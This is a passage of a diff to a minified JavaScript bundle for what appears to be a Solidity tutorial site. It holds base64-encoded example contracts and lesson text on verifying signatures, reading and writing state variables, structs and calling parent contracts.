QThjMEQ0RjBhNERkMGQ3QmFlMUQyRWZGRTYzNmRkCiAgICB0byA9IDB4MTQ3MjNBMDlBQ2ZmNkQyQTYwRGNkRjdhQTRBRmYzMDhGRERDMTYwQwogICAgYW1vdW50ID0gMTIzCiAgICBtZXNzYWdlID0gImNvZmZlZSBhbmQgZG9udXRzIgogICAgbm9uY2UgPSAxCiAgICBzaWduYXR1cmUgPQogICAgICAgIDB4OTkzZGFiM2RkOTFmNWM2ZGMyOGUxNzQzOWJlNDc1NDc4ZjU2MzVjOTJhNTZlMTdlODIzNDlkM2ZiMmYxNjYxOTZmNDY2YzBiNGUwYzE0NmYyODUyMDRmMGRjYjEzZTVhZTY3YmMzM2Y0Yjg4OGVjMzJkZmUwYTA2M2U4ZjNmNzgxYgogICAgKi8KICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBhZGRyZXNzIF9zaWduZXIsCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludDI1NiBfYW1vdW50LAogICAgICAgIHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsCiAgICAgICAgdWludDI1NiBfbm9uY2UsCiAgICAgICAgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBtZXNzYWdlSGFzaCA9IGdldE1lc3NhZ2VIYXNoKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSk7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRNZXNzYWdlSGFzaCA9IGdldEV0aFNpZ25lZE1lc3NhZ2VIYXNoKG1lc3NhZ2VIYXNoKTsKCiAgICAgICAgcmV0dXJuIHJlY292ZXJTaWduZXIoZXRoU2lnbmVkTWVzc2FnZUhhc2gsIHNpZ25hdHVyZSkgPT0gX3NpZ25lcjsKICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyU2lnbmVyKAogICAgICAgIGJ5dGVzMzIgX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLAogICAgICAgIGJ5dGVzIG1lbW9yeSBfc2lnbmF0dXJlCiAgICApIHB1YmxpYyBwdXJlIHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICAoYnl0ZXMzMiByLCBieXRlczMyIHMsIHVpbnQ4IHYpID0gc3BsaXRTaWduYXR1cmUoX3NpZ25hdHVyZSk7CgogICAgICAgIHJldHVybiBlY3JlY292ZXIoX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLCB2LCByLCBzKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzcGxpdFNpZ25hdHVyZShieXRlcyBtZW1vcnkgc2lnKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIHIsIGJ5dGVzMzIgcywgdWludDggdikKICAgIHsKICAgICAgICByZXF1aXJlKHNpZy5sZW5ndGggPT0gNjUsICJpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvKgogICAgICAgICAgICBGaXJzdCAzMiBieXRlcyBzdG9yZXMgdGhlIGxlbmd0aCBvZiB0aGUgc2lnbmF0dXJlCgogICAgICAgICAgICBhZGQoc2lnLCAzMikgPSBwb2ludGVyIG9mIHNpZyArIDMyCiAgICAgICAgICAgIGVmZmVjdGl2ZWx5LCBza2lwcyBmaXJzdCAzMiBieXRlcyBvZiBzaWduYXR1cmUKCiAgICAgICAgICAgIG1sb2FkKHApIGxvYWRzIG5leHQgMzIgYnl0ZXMgc3RhcnRpbmcgYXQgdGhlIG1lbW9yeSBhZGRyZXNzIHAgaW50byBtZW1vcnkKICAgICAgICAgICAgKi8KCiAgICAgICAgICAgIC8vIGZpcnN0IDMyIGJ5dGVzLCBhZnRlciB0aGUgbGVuZ3RoIHByZWZpeAogICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWcsIDMyKSkKICAgICAgICAgICAgLy8gc2Vjb25kIDMyIGJ5dGVzCiAgICAgICAgICAgIHMgOj0gbWxvYWQoYWRkKHNpZywgNjQpKQogICAgICAgICAgICAvLyBmaW5hbCBieXRlIChmaXJzdCBieXRlIG9mIHRoZSBuZXh0IDMyIGJ5dGVzKQogICAgICAgICAgICB2IDo9IGJ5dGUoMCwgbWxvYWQoYWRkKHNpZywgOTYpKSkKICAgICAgICB9CgogICAgICAgIC8vIGltcGxpY2l0bHkgcmV0dXJuIChyLCBzLCB2KQogICAgfQp9Cg=="}],fW=`

              Messages can be signed off chain and then verified on chain using a smart contract.

              +`,RW=({prev:s,next:a})=>r.jsx(u,{version:BW,title:GW,description:VW,html:YW,prev:s,next:a,codes:fW}),XW="0.8.24",vW="Verifying Signature",NW="An example of how to verify signatures in Solidity",HW=[{fileName:"Signature.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIFNpZ25hdHVyZSBWZXJpZmljYXRpb24KCkhvdyB0byBTaWduIGFuZCBWZXJpZnkKIyBTaWduaW5nCjEuIENyZWF0ZSBtZXNzYWdlIHRvIHNpZ24KMi4gSGFzaCB0aGUgbWVzc2FnZQozLiBTaWduIHRoZSBoYXNoIChvZmYgY2hhaW4sIGtlZXAgeW91ciBwcml2YXRlIGtleSBzZWNyZXQpCgojIFZlcmlmeQoxLiBSZWNyZWF0ZSBoYXNoIGZyb20gdGhlIG9yaWdpbmFsIG1lc3NhZ2UKMi4gUmVjb3ZlciBzaWduZXIgZnJvbSBzaWduYXR1cmUgYW5kIGhhc2gKMy4gQ29tcGFyZSByZWNvdmVyZWQgc2lnbmVyIHRvIGNsYWltZWQgc2lnbmVyCiovCgpjb250cmFjdCBWZXJpZnlTaWduYXR1cmUgewogICAgLyogMS4gVW5sb2NrIE1ldGFNYXNrIGFjY291bnQKICAgIGV0aGVyZXVtLmVuYWJsZSgpCiAgICAqLwoKICAgIC8qIDIuIEdldCBtZXNzYWdlIGhhc2ggdG8gc2lnbgogICAgZ2V0TWVzc2FnZUhhc2goCiAgICAgICAgMHgxNDcyM0EwOUFDZmY2RDJBNjBEY2RGN2FBNEFGZjMwOEZEREMxNjBDLAogICAgICAgIDEyMywKICAgICAgICAiY29mZmVlIGFuZCBkb251dHMiLAogICAgICAgIDEKICAgICkKCiAgICBoYXNoID0gIjB4Y2YzNmFjNGY5N2RjMTBkOTFmYzJjYmIyMGQ3MThlOTRhOGNiZmUwZjgyZWFlZGM2YTRhYTM4OTQ2ZmI3OTdjZCIKICAgICovCiAgICBmdW5jdGlvbiBnZXRNZXNzYWdlSGFzaCgKICAgICAgICBhZGRyZXNzIF90bywKICAgICAgICB1aW50MjU2IF9hbW91bnQsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfbWVzc2FnZSwKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSkpOwogICAgfQoKICAgIC8qIDMuIFNpZ24gbWVzc2FnZSBoYXNoCiAgICAjIHVzaW5nIGJyb3dzZXIKICAgIGFjY291bnQgPSAiY29weSBwYXN0ZSBhY2NvdW50IG9mIHNpZ25lciBoZXJlIgogICAgZXRoZXJldW0ucmVxdWVzdCh7IG1ldGhvZDogInBlcnNvbmFsX3NpZ24iLCBwYXJhbXM6IFthY2NvdW50LCBoYXNoXX0pLnRoZW4oY29uc29sZS5sb2cpCgogICAgIyB1c2luZyB3ZWIzCiAgICB3ZWIzLnBlcnNvbmFsLnNpZ24oaGFzaCwgd2ViMy5ldGguZGVmYXVsdEFjY291bnQsIGNvbnNvbGUubG9nKQoKICAgIFNpZ25hdHVyZSB3aWxsIGJlIGRpZmZlcmVudCBmb3IgZGlmZmVyZW50IGFjY291bnRzCiAgICAweDk5M2RhYjNkZDkxZjVjNmRjMjhlMTc0MzliZTQ3NTQ3OGY1NjM1YzkyYTU2ZTE3ZTgyMzQ5ZDNmYjJmMTY2MTk2ZjQ2NmMwYjRlMGMxNDZmMjg1MjA0ZjBkY2IxM2U1YWU2N2JjMzNmNGI4ODhlYzMyZGZlMGEwNjNlOGYzZjc4MWIKICAgICovCiAgICBmdW5jdGlvbiBnZXRFdGhTaWduZWRNZXNzYWdlSGFzaChieXRlczMyIF9tZXNzYWdlSGFzaCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICAvKgogICAgICAgIFNpZ25hdHVyZSBpcyBwcm9kdWNlZCBieSBzaWduaW5nIGEga2VjY2FrMjU2IGhhc2ggd2l0aCB0aGUgZm9sbG93aW5nIGZvcm1hdDoKICAgICAgICAiXHgxOUV0aGVyZXVtIFNpZ25lZCBNZXNzYWdlXG4iICsgbGVuKG1zZykgKyBtc2cKICAgICAgICAqLwogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoIlx4MTlFdGhlcmV1bSBTaWduZWQgTWVzc2FnZTpcbjMyIiwgX21lc3NhZ2VIYXNoKQogICAgICAgICk7CiAgICB9CgogICAgLyogNC4gVmVyaWZ5IHNpZ25hdHVyZQogICAgc2lnbmVyID0gMHhCMjczMjE2QzA1QThjMEQ0RjBhNERkMGQ3QmFlMUQyRWZGRTYzNmRkCiAgICB0byA9IDB4MTQ3MjNBMDlBQ2ZmNkQyQTYwRGNkRjdhQTRBRmYzMDhGRERDMTYwQwogICAgYW1vdW50ID0gMTIzCiAgICBtZXNzYWdlID0gImNvZmZlZSBhbmQgZG9udXRzIgogICAgbm9uY2UgPSAxCiAgICBzaWduYXR1cmUgPQogICAgICAgIDB4OTkzZGFiM2RkOTFmNWM2ZGMyOGUxNzQzOWJlNDc1NDc4ZjU2MzVjOTJhNTZlMTdlODIzNDlkM2ZiMmYxNjYxOTZmNDY2YzBiNGUwYzE0NmYyODUyMDRmMGRjYjEzZTVhZTY3YmMzM2Y0Yjg4OGVjMzJkZmUwYTA2M2U4ZjNmNzgxYgogICAgKi8KICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBhZGRyZXNzIF9zaWduZXIsCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludDI1NiBfYW1vdW50LAogICAgICAgIHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsCiAgICAgICAgdWludDI1NiBfbm9uY2UsCiAgICAgICAgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBtZXNzYWdlSGFzaCA9IGdldE1lc3NhZ2VIYXNoKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSk7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRNZXNzYWdlSGFzaCA9IGdldEV0aFNpZ25lZE1lc3NhZ2VIYXNoKG1lc3NhZ2VIYXNoKTsKCiAgICAgICAgcmV0dXJuIHJlY292ZXJTaWduZXIoZXRoU2lnbmVkTWVzc2FnZUhhc2gsIHNpZ25hdHVyZSkgPT0gX3NpZ25lcjsKICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyU2lnbmVyKAogICAgICAgIGJ5dGVzMzIgX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLAogICAgICAgIGJ5dGVzIG1lbW9yeSBfc2lnbmF0dXJlCiAgICApIHB1YmxpYyBwdXJlIHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICAoYnl0ZXMzMiByLCBieXRlczMyIHMsIHVpbnQ4IHYpID0gc3BsaXRTaWduYXR1cmUoX3NpZ25hdHVyZSk7CgogICAgICAgIHJldHVybiBlY3JlY292ZXIoX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLCB2LCByLCBzKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzcGxpdFNpZ25hdHVyZShieXRlcyBtZW1vcnkgc2lnKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIHIsIGJ5dGVzMzIgcywgdWludDggdikKICAgIHsKICAgICAgICByZXF1aXJlKHNpZy5sZW5ndGggPT0gNjUsICJpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvKgogICAgICAgICAgICBGaXJzdCAzMiBieXRlcyBzdG9yZXMgdGhlIGxlbmd0aCBvZiB0aGUgc2lnbmF0dXJlCgogICAgICAgICAgICBhZGQoc2lnLCAzMikgPSBwb2ludGVyIG9mIHNpZyArIDMyCiAgICAgICAgICAgIGVmZmVjdGl2ZWx5LCBza2lwcyBmaXJzdCAzMiBieXRlcyBvZiBzaWduYXR1cmUKCiAgICAgICAgICAgIG1sb2FkKHApIGxvYWRzIG5leHQgMzIgYnl0ZXMgc3RhcnRpbmcgYXQgdGhlIG1lbW9yeSBhZGRyZXNzIHAgaW50byBtZW1vcnkKICAgICAgICAgICAgKi8KCiAgICAgICAgICAgIC8vIGZpcnN0IDMyIGJ5dGVzLCBhZnRlciB0aGUgbGVuZ3RoIHByZWZpeAogICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWcsIDMyKSkKICAgICAgICAgICAgLy8gc2Vjb25kIDMyIGJ5dGVzCiAgICAgICAgICAgIHMgOj0gbWxvYWQoYWRkKHNpZywgNjQpKQogICAgICAgICAgICAvLyBmaW5hbCBieXRlIChmaXJzdCBieXRlIG9mIHRoZSBuZXh0IDMyIGJ5dGVzKQogICAgICAgICAgICB2IDo9IGJ5dGUoMCwgbWxvYWQoYWRkKHNpZywgOTYpKSkKICAgICAgICB9CgogICAgICAgIC8vIGltcGxpY2l0bHkgcmV0dXJuIChyLCBzLCB2KQogICAgfQp9Cg=="}],FW=`

              Messages can be signed off chain and then verified on chain using a smart contract.

              Example using ethers.js

              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -10340,7 +10902,7 @@ How to Sign and Verify
         // implicitly return (r, s, v)
     }
 }
-
              `,YW=({prev:s,next:a})=>r.jsx(u,{version:WW,title:GW,description:BW,html:fW,prev:s,next:a,codes:VW}),RW="0.8.24",XW="Reading and Writing to a State Variable",vW="Reading and Writing to a State Variable",NW=[{fileName:"SimpleStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFNpbXBsZVN0b3JhZ2UgewogICAgLy8gU3RhdGUgdmFyaWFibGUgdG8gc3RvcmUgYSBudW1iZXIKICAgIHVpbnQyNTYgcHVibGljIG51bTsKCiAgICAvLyBZb3UgbmVlZCB0byBzZW5kIGEgdHJhbnNhY3Rpb24gdG8gd3JpdGUgdG8gYSBzdGF0ZSB2YXJpYWJsZS4KICAgIGZ1bmN0aW9uIHNldCh1aW50MjU2IF9udW0pIHB1YmxpYyB7CiAgICAgICAgbnVtID0gX251bTsKICAgIH0KCiAgICAvLyBZb3UgY2FuIHJlYWQgZnJvbSBhIHN0YXRlIHZhcmlhYmxlIHdpdGhvdXQgc2VuZGluZyBhIHRyYW5zYWN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBudW07CiAgICB9Cn0K"}],HW=`

              To write or update a state variable you need to send a transaction.

              +`,KW=({prev:s,next:a})=>r.jsx(u,{version:XW,title:vW,description:NW,html:FW,prev:s,next:a,codes:HW}),SW="0.8.24",MW="Reading and Writing to a State Variable",xW="Reading and Writing to a State Variable",JW=[{fileName:"SimpleStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFNpbXBsZVN0b3JhZ2UgewogICAgLy8gU3RhdGUgdmFyaWFibGUgdG8gc3RvcmUgYSBudW1iZXIKICAgIHVpbnQyNTYgcHVibGljIG51bTsKCiAgICAvLyBZb3UgbmVlZCB0byBzZW5kIGEgdHJhbnNhY3Rpb24gdG8gd3JpdGUgdG8gYSBzdGF0ZSB2YXJpYWJsZS4KICAgIGZ1bmN0aW9uIHNldCh1aW50MjU2IF9udW0pIHB1YmxpYyB7CiAgICAgICAgbnVtID0gX251bTsKICAgIH0KCiAgICAvLyBZb3UgY2FuIHJlYWQgZnJvbSBhIHN0YXRlIHZhcmlhYmxlIHdpdGhvdXQgc2VuZGluZyBhIHRyYW5zYWN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBudW07CiAgICB9Cn0K"}],zW=`

              To write or update a state variable you need to send a transaction.

              On the other hand, you can read state variables, for free, without any transaction fee.

              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -10359,7 +10921,7 @@ How to Sign and Verify
         return num;
     }
 }
-
              `,FW=({prev:s,next:a})=>r.jsx(u,{version:RW,title:XW,description:vW,html:HW,prev:s,next:a,codes:NW}),KW="0.8.24",SW="Structs",MW="An example of how to use structs in Solidity",xW=[{fileName:"StructDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKLy8gVGhpcyBpcyBzYXZlZCAnU3RydWN0RGVjbGFyYXRpb24uc29sJwoKc3RydWN0IFRvZG8gewogICAgc3RyaW5nIHRleHQ7CiAgICBib29sIGNvbXBsZXRlZDsKfQo="},{fileName:"StructImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9TdHJ1Y3REZWNsYXJhdGlvbi5zb2wiOwoKY29udHJhY3QgVG9kb3MgewogICAgLy8gQW4gYXJyYXkgb2YgJ1RvZG8nIHN0cnVjdHMKICAgIFRvZG9bXSBwdWJsaWMgdG9kb3M7Cn0K"},{fileName:"Structs.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRvZG9zIHsKICAgIHN0cnVjdCBUb2RvIHsKICAgICAgICBzdHJpbmcgdGV4dDsKICAgICAgICBib29sIGNvbXBsZXRlZDsKICAgIH0KCiAgICAvLyBBbiBhcnJheSBvZiAnVG9kbycgc3RydWN0cwogICAgVG9kb1tdIHB1YmxpYyB0b2RvczsKCiAgICBmdW5jdGlvbiBjcmVhdGUoc3RyaW5nIGNhbGxkYXRhIF90ZXh0KSBwdWJsaWMgewogICAgICAgIC8vIDMgd2F5cyB0byBpbml0aWFsaXplIGEgc3RydWN0CiAgICAgICAgLy8gLSBjYWxsaW5nIGl0IGxpa2UgYSBmdW5jdGlvbgogICAgICAgIHRvZG9zLnB1c2goVG9kbyhfdGV4dCwgZmFsc2UpKTsKCiAgICAgICAgLy8ga2V5IHZhbHVlIG1hcHBpbmcKICAgICAgICB0b2Rvcy5wdXNoKFRvZG8oe3RleHQ6IF90ZXh0LCBjb21wbGV0ZWQ6IGZhbHNlfSkpOwoKICAgICAgICAvLyBpbml0aWFsaXplIGFuIGVtcHR5IHN0cnVjdCBhbmQgdGhlbiB1cGRhdGUgaXQKICAgICAgICBUb2RvIG1lbW9yeSB0b2RvOwogICAgICAgIHRvZG8udGV4dCA9IF90ZXh0OwogICAgICAgIC8vIHRvZG8uY29tcGxldGVkIGluaXRpYWxpemVkIHRvIGZhbHNlCgogICAgICAgIHRvZG9zLnB1c2godG9kbyk7CiAgICB9CgogICAgLy8gU29saWRpdHkgYXV0b21hdGljYWxseSBjcmVhdGVkIGEgZ2V0dGVyIGZvciAndG9kb3MnIHNvCiAgICAvLyB5b3UgZG9uJ3QgYWN0dWFsbHkgbmVlZCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KHVpbnQyNTYgX2luZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHRleHQsIGJvb2wgY29tcGxldGVkKQogICAgewogICAgICAgIFRvZG8gc3RvcmFnZSB0b2RvID0gdG9kb3NbX2luZGV4XTsKICAgICAgICByZXR1cm4gKHRvZG8udGV4dCwgdG9kby5jb21wbGV0ZWQpOwogICAgfQoKICAgIC8vIHVwZGF0ZSB0ZXh0CiAgICBmdW5jdGlvbiB1cGRhdGVUZXh0KHVpbnQyNTYgX2luZGV4LCBzdHJpbmcgY2FsbGRhdGEgX3RleHQpIHB1YmxpYyB7CiAgICAgICAgVG9kbyBzdG9yYWdlIHRvZG8gPSB0b2Rvc1tfaW5kZXhdOwogICAgICAgIHRvZG8udGV4dCA9IF90ZXh0OwogICAgfQoKICAgIC8vIHVwZGF0ZSBjb21wbGV0ZWQKICAgIGZ1bmN0aW9uIHRvZ2dsZUNvbXBsZXRlZCh1aW50MjU2IF9pbmRleCkgcHVibGljIHsKICAgICAgICBUb2RvIHN0b3JhZ2UgdG9kbyA9IHRvZG9zW19pbmRleF07CiAgICAgICAgdG9kby5jb21wbGV0ZWQgPSAhdG9kby5jb21wbGV0ZWQ7CiAgICB9Cn0K"}],JW=`

              You can define your own type by creating a struct.

              +`,EW=({prev:s,next:a})=>r.jsx(u,{version:SW,title:MW,description:xW,html:zW,prev:s,next:a,codes:JW}),DW="0.8.24",TW="Structs",UW="An example of how to use structs in Solidity",QW=[{fileName:"StructDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKLy8gVGhpcyBpcyBzYXZlZCAnU3RydWN0RGVjbGFyYXRpb24uc29sJwoKc3RydWN0IFRvZG8gewogICAgc3RyaW5nIHRleHQ7CiAgICBib29sIGNvbXBsZXRlZDsKfQo="},{fileName:"StructImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9TdHJ1Y3REZWNsYXJhdGlvbi5zb2wiOwoKY29udHJhY3QgVG9kb3MgewogICAgLy8gQW4gYXJyYXkgb2YgJ1RvZG8nIHN0cnVjdHMKICAgIFRvZG9bXSBwdWJsaWMgdG9kb3M7Cn0K"},{fileName:"Structs.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRvZG9zIHsKICAgIHN0cnVjdCBUb2RvIHsKICAgICAgICBzdHJpbmcgdGV4dDsKICAgICAgICBib29sIGNvbXBsZXRlZDsKICAgIH0KCiAgICAvLyBBbiBhcnJheSBvZiAnVG9kbycgc3RydWN0cwogICAgVG9kb1tdIHB1YmxpYyB0b2RvczsKCiAgICBmdW5jdGlvbiBjcmVhdGUoc3RyaW5nIGNhbGxkYXRhIF90ZXh0KSBwdWJsaWMgewogICAgICAgIC8vIDMgd2F5cyB0byBpbml0aWFsaXplIGEgc3RydWN0CiAgICAgICAgLy8gLSBjYWxsaW5nIGl0IGxpa2UgYSBmdW5jdGlvbgogICAgICAgIHRvZG9zLnB1c2goVG9kbyhfdGV4dCwgZmFsc2UpKTsKCiAgICAgICAgLy8ga2V5IHZhbHVlIG1hcHBpbmcKICAgICAgICB0b2Rvcy5wdXNoKFRvZG8oe3RleHQ6IF90ZXh0LCBjb21wbGV0ZWQ6IGZhbHNlfSkpOwoKICAgICAgICAvLyBpbml0aWFsaXplIGFuIGVtcHR5IHN0cnVjdCBhbmQgdGhlbiB1cGRhdGUgaXQKICAgICAgICBUb2RvIG1lbW9yeSB0b2RvOwogICAgICAgIHRvZG8udGV4dCA9IF90ZXh0OwogICAgICAgIC8vIHRvZG8uY29tcGxldGVkIGluaXRpYWxpemVkIHRvIGZhbHNlCgogICAgICAgIHRvZG9zLnB1c2godG9kbyk7CiAgICB9CgogICAgLy8gU29saWRpdHkgYXV0b21hdGljYWxseSBjcmVhdGVkIGEgZ2V0dGVyIGZvciAndG9kb3MnIHNvCiAgICAvLyB5b3UgZG9uJ3QgYWN0dWFsbHkgbmVlZCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KHVpbnQyNTYgX2luZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHRleHQsIGJvb2wgY29tcGxldGVkKQogICAgewogICAgICAgIFRvZG8gc3RvcmFnZSB0b2RvID0gdG9kb3NbX2luZGV4XTsKICAgICAgICByZXR1cm4gKHRvZG8udGV4dCwgdG9kby5jb21wbGV0ZWQpOwogICAgfQoKICAgIC8vIHVwZGF0ZSB0ZXh0CiAgICBmdW5jdGlvbiB1cGRhdGVUZXh0KHVpbnQyNTYgX2luZGV4LCBzdHJpbmcgY2FsbGRhdGEgX3RleHQpIHB1YmxpYyB7CiAgICAgICAgVG9kbyBzdG9yYWdlIHRvZG8gPSB0b2Rvc1tfaW5kZXhdOwogICAgICAgIHRvZG8udGV4dCA9IF90ZXh0OwogICAgfQoKICAgIC8vIHVwZGF0ZSBjb21wbGV0ZWQKICAgIGZ1bmN0aW9uIHRvZ2dsZUNvbXBsZXRlZCh1aW50MjU2IF9pbmRleCkgcHVibGljIHsKICAgICAgICBUb2RvIHN0b3JhZ2UgdG9kbyA9IHRvZG9zW19pbmRleF07CiAgICAgICAgdG9kby5jb21wbGV0ZWQgPSAhdG9kby5jb21wbGV0ZWQ7CiAgICB9Cn0K"}],_W=`

              You can define your own type by creating a struct.

              They are useful for grouping together related data.

              Structs can be declared outside of a contract and imported in another contract.

              // SPDX-License-Identifier: MIT
@@ -10433,7 +10995,7 @@ How to Sign and Verify
     // An array of 'Todo' structs
     Todo[] public todos;
 }
-
              `,zW=({prev:s,next:a})=>r.jsx(u,{version:KW,title:SW,description:MW,html:JW,prev:s,next:a,codes:xW}),EW="0.8.24",UW="Calling Parent Contracts",TW="An example of calling parent contracts in Solidity",QW=[{fileName:"Super.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIEluaGVyaXRhbmNlIHRyZWUKICAgQQogLyAgXApCICAgQwogXCAvCiAgRAoqLwoKY29udHJhY3QgQSB7CiAgICAvLyBUaGlzIGlzIGNhbGxlZCBhbiBldmVudC4gWW91IGNhbiBlbWl0IGV2ZW50cyBmcm9tIHlvdXIgZnVuY3Rpb24KICAgIC8vIGFuZCB0aGV5IGFyZSBsb2dnZWQgaW50byB0aGUgdHJhbnNhY3Rpb24gbG9nLgogICAgLy8gSW4gb3VyIGNhc2UsIHRoaXMgd2lsbCBiZSB1c2VmdWwgZm9yIHRyYWNpbmcgZnVuY3Rpb24gY2FsbHMuCiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIHsKICAgICAgICBlbWl0IExvZygiQS5mb28gY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFyKCkgcHVibGljIHZpcnR1YWwgewogICAgICAgIGVtaXQgTG9nKCJBLmJhciBjYWxsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgQiBpcyBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQi5mb28gY2FsbGVkIik7CiAgICAgICAgQS5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgdmlydHVhbCBvdmVycmlkZSB7CiAgICAgICAgZW1pdCBMb2coIkIuYmFyIGNhbGxlZCIpOwogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cgpjb250cmFjdCBDIGlzIEEgewogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHZpcnR1YWwgb3ZlcnJpZGUgewogICAgICAgIGVtaXQgTG9nKCJDLmZvbyBjYWxsZWQiKTsKICAgICAgICBBLmZvbygpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJhcigpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQy5iYXIgY2FsbGVkIik7CiAgICAgICAgc3VwZXIuYmFyKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBUcnk6CiAgICAvLyAtIENhbGwgRC5mb28gYW5kIGNoZWNrIHRoZSB0cmFuc2FjdGlvbiBsb2dzLgogICAgLy8gICBBbHRob3VnaCBEIGluaGVyaXRzIEEsIEIgYW5kIEMsIGl0IG9ubHkgY2FsbGVkIEMgYW5kIHRoZW4gQS4KICAgIC8vIC0gQ2FsbCBELmJhciBhbmQgY2hlY2sgdGhlIHRyYW5zYWN0aW9uIGxvZ3MKICAgIC8vICAgRCBjYWxsZWQgQywgdGhlbiBCLCBhbmQgZmluYWxseSBBLgogICAgLy8gICBBbHRob3VnaCBzdXBlciB3YXMgY2F